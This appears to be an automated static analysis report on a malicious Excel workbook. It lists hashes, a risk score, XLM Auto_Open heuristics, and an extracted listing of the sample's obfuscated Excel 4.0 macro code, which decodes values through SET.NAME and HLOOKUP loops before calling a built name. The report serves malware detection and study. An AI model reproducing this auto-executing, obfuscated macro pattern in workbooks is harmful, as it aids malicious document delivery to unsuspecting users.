Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8a039c27f9bb6a71…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:10 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 447400c388dce4644c2c79b059fb249c SHA-1: 1a517fb45d757adc14b4be46cb4cda925d7e816a SHA-256: 8a039c27f9bb6a71d2470307ffb159a2a9fb21334b5cfa7591384c16f044dfb0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6606 bytes
SHA-256: 98a96ec27f819ce5fb353207e2d671451a44ebef7e75c22dfd5455e62d2a59f0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XbzPu
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H153 
' 0018     25 LABEL : Cell Value, String Constant - BKihrfRekw len=0 
' 0018     26 LABEL : Cell Value, String Constant - CHyCPqgHzjK len=0 
' 0018     24 LABEL : Cell Value, String Constant - DgXPfoBTW len=0 
' 0018     25 LABEL : Cell Value, String Constant - ebpkXlNTsu len=0 
' 0018     24 LABEL : Cell Value, String Constant - fOUrQhcEg len=0 
' 0018     20 LABEL : Cell Value, String Constant - glpIF len=0 
' 0018     25 LABEL : Cell Value, String Constant - IohBhjEmkV len=0 
' 0018     22 LABEL : Cell Value, String Constant - KaWlGBV len=0 
' 0018     24 LABEL : Cell Value, String Constant - kBeSEQkRz len=0 
' 0018     25 LABEL : Cell Value, String Constant - kvqEXVtyvs len=0 
' 0018     23 LABEL : Cell Value, String Constant - LkLVLHLI len=0 
' 0018     25 LABEL : Cell Value, String Constant - LriaTbkimZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - pbdpWYXfUA len=0 
' 0018     23 LABEL : Cell Value, String Constant - PoNcGmjP len=0 
' 0018     20 LABEL : Cell Value, String Constant - Ppnds len=0 
' 0018     20 LABEL : Cell Value, String Constant - QUpyD len=0 
' 0018     26 LABEL : Cell Value, String Constant - USLesTzRhcl len=0 
' 0018     21 LABEL : Cell Value, String Constant - vOUfIp len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZKfjMN len=0 
' 0018     20 LABEL : Cell Value, String Constant - zKfuS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XbzPu,R53,"",643.00000000000000000000
'  XbzPu,R54,"",375.00000000000000000000
'  XbzPu,R55,"",-844.00000000000000000000
'  XbzPu,R56,"",-857.00000000000000000000
'  XbzPu,R57,"",-21.00000000000000000000
'  XbzPu,H58,"SET.NAME("zKfuS",0+VALUE("0"))",""
'  XbzPu,R58,"",-321.00000000000000000000
'  XbzPu,H63,"SET.NAME("LriaTbkimZ",zKfuS)",""
'  XbzPu,H68,"SET.NAME("IohBhjEmkV",zKfuS)",""
'  XbzPu,H70,"SET.NAME("fOUrQhcEg",COUNTA(kvqEXVtyvs))",""
'  XbzPu,H74,"SET.NAME("CHyCPqgHzjK",COUNTA(DgXPfoBTW))",""
'  XbzPu,H79,[],""
'  XbzPu,H83,"SET.NAME("kBeSEQkRz","")",""
'  XbzPu,H87,"LriaTbkimZ",""
'  XbzPu,H89,"SET.NAME("PoNcGmjP",HLOOKUP("*",kvqEXVtyvs,LriaTbkimZ,FALSE))",""
'  XbzPu,H94,"LkLVLHLI",""
'  XbzPu,H96,"SET.NAME("Ppnds",zKfuS)",""
'  XbzPu,H99,[],""
'  XbzPu,H102,"Ppnds",""
'  XbzPu,H106,"USLesTzRhcl",""
'  XbzPu,H108,"vOUfIp",""
'  XbzPu,H111,"QUpyD",""
'  XbzPu,H116,"SET.NAME("ebpkXlNTsu",VALUE(HLOOKUP("*",DgXPfoBTW,QUpyD,FALSE)))",""
'  XbzPu,H121,"glpIF",""
'  XbzPu,H124,"kBeSEQkRz",""
'  XbzPu,H126,"IohBhjEmkV",""
'  XbzPu,H128,NEXT(),""
'  XbzPu,H133,"KaWlGBV",""
'  XbzPu,H135,[],""
'  XbzPu,H140,"pbdpWYXfUA",""
'  XbzPu,H145,NEXT(),""
'  XbzPu,H149,RETURN(),""
'  XbzPu,H176,"SET.NAME("ZKfjMN",H58)",""
'  XbzPu,H179,"kvqEXVtyvs",""
'  XbzPu,H183,"SET.NAME("DgXPfoBTW",R98C14)",""
'  XbzPu,H187,"SET.NAME("pbdpWYXfUA",194)",""
'  XbzPu,H189,"SET.NAME("BKihrfRekw",8)",""
'  XbzPu,H193,ZKfjMN(),""
'  XbzPu,H194,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.